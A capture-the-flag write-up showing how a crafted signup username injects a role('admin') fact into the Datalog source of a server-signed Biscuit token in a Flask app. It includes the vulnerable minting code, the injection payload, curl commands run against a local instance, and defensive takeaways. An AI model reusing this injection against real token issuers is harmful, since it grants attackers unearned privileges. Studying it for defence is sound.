GaslightCTF 2026 — biscuit Writeup
A voting app mints Biscuit capability tokens from the username you type. The username is pasted straight into Datalog source, so a crafted signup injects a role("admin") fact into a token the server signs for you and unlocks the staff room flag.
GaslightCTF 2026 — biscuit
A Flask app that uses Biscuit tokens — a signed, Datalog-based capability format — to decide whether you are allowed into a "staff room". The authorization logic is sound. The way the app builds tokens is not.
- Event: GaslightCTF 2026
- Category: Web
- Artifact: Flask +
biscuit-python - Flag format:
gaslightCTF{...}
The app is a tiny voting site. On signup it gives you a Biscuit token that carries a user("name") fact, and the flag lives behind a policy that needs a role("admin") fact.
1. How the token is minted
Everything interesting is in one function:
def mint(username: str) -> str:
builder = BiscuitBuilder(
f"""
user("{username}");
check if user($u), $u.length() > 0;
""",
)
if username == "webmaster":
builder.add_fact(Fact('role("admin")'))
return builder.build(root.private_key).to_base64()The token source is a Datalog program. A normal user gets exactly the user("...") fact. The privileged role("admin") fact is added only when the username is literally webmaster.
The problem is the f-string. username is interpolated directly into Datalog source with no escaping — and the app happily signs whatever that produces:
@app.route("/signup", methods=["POST"])
def signup():
username = request.form.get("username", "").strip()
...
USERS[username] = password
response = redirect(url_for("index"))
response.set_cookie(COOKIE, mint(username), httponly=True, samesite="Lax")
return responseSignup is the only thing that matters here. There is no password policy to satisfy and the token is issued immediately.
2. The authorization side
Two policies read the token. Neither is exploitable on its own — the bug is entirely in what the token is allowed to contain:
def current_user() -> str | None:
return _authorize("allow if user($u);")
def current_admin() -> str | None:
return _authorize('allow if user($u), role("admin");')And the flag route:
@app.route("/flag")
def flag():
if current_user() is None:
return redirect(url_for("login"))
if current_admin() is None:
return render_template("flag.html"), 403
return render_template("flag.html", flag=FLAG)Reach current_admin() != None and the flag is returned. That needs the token to contain both user(...) and role("admin").
3. Datalog injection
The minted program is text, so we can close the string and append our own facts. The template is:
user("{username}");
check if user($u), $u.length() > 0;Pick a username that closes the quote, ends the statement, and injects the privileged fact, then reopens a string so the trailing template stays syntactically valid:
a"); role("admin"); user("bThe minted program becomes:
user("a"); role("admin"); user("b");
check if user($u), $u.length() > 0;That is valid Datalog: it asserts user("a"), asserts role("admin"), asserts user("b"), and the check still passes because a user fact exists. The server signs it with root.private_key and hands us the token.
The username is 28 characters — well under the len > 32 limit, and the only other check is "is this name already taken", which it is not.
4. Running it
Sign up with the crafted username:
$ curl -s -i -c bc.jar \
--data-urlencode 'username=a"); role("admin"); user("b' \
--data-urlencode 'password=x' \
http://127.0.0.1:8181/signup | head -1
HTTP/1.1 302 FOUNDThe response carries the signed token as a cookie:
set-cookie: biscuit=EsEBClcKAWEKAWIKAXUYAyIJCgcIChIDGIAIIggKBggGEgIYDSIJCgcIChIDGIEIMioKKAoCCBsSBwgKEgMIgggaGQoFCgMIgggKBBICCAIKBAoCEAAKBBoCCAESJAgAEiCTilmmFgUpJBD0KyxoD8B0IjUFVEvwPDamqMUMHrdd2RpA0lXR0LlNQc1APBWJjyH2pyYOrhuNzq6qecmCoPw8ta1hnaDrFmnGJfr2RKsjVJnjbRjKJlaXjS5Yrvh5Xbu6ACIiCiDKqbiPX_wTYMi2reiupga1GEjOQpiJOXhu3J67VUx69A==Then ask for the flag with that cookie:
$ curl -s -b bc.jar http://127.0.0.1:8181/flag | grep -A1 'recipe'
<p>Welcome back, webmaster. The secret recipe:</p>
<p class="flag">gaslightCTF{fake_flag_for_local_testing}</p>Admin, without ever knowing the webmaster password.
5. Why it works
Biscuit tokens are a capability system: the holder cannot forge facts because the token is signed by the root key. That property is fully intact here — we never break the signature. The bug is that the issuer concatenates attacker input into the Datalog source it signs, so the attacker does not forge anything; they simply get the server to attest to a fact it should never have granted.
This is the token-format analogue of SQL injection or XSS: a structured language is built by string concatenation, and the data channel is not separated from the code channel.
6. The flag
gaslightCTF{fake_flag_for_local_testing}FLAG is an environment variable; the value shown is the local test value used to reproduce the run.
7. Takeaways
- Never build a token, query, or policy by interpolating user data into a structured language. Use the library's builder API to add string facts as data (
Fact("user($u)")with the username bound as a term), not as source. - A signed token is only as trustworthy as the issuer's input handling. "It is cryptographically signed" is not a security argument when the signer accepts attacker-controlled source.
- Policy checks that look correct (
allow if user($u), role("admin")) are worthless if the token can be minted with an injectedrole("admin")fact. - Fuzz the source the server generates from your input. If special characters in a username can change the shape of a signed program, you have injection.
What do you think?
React to show your appreciation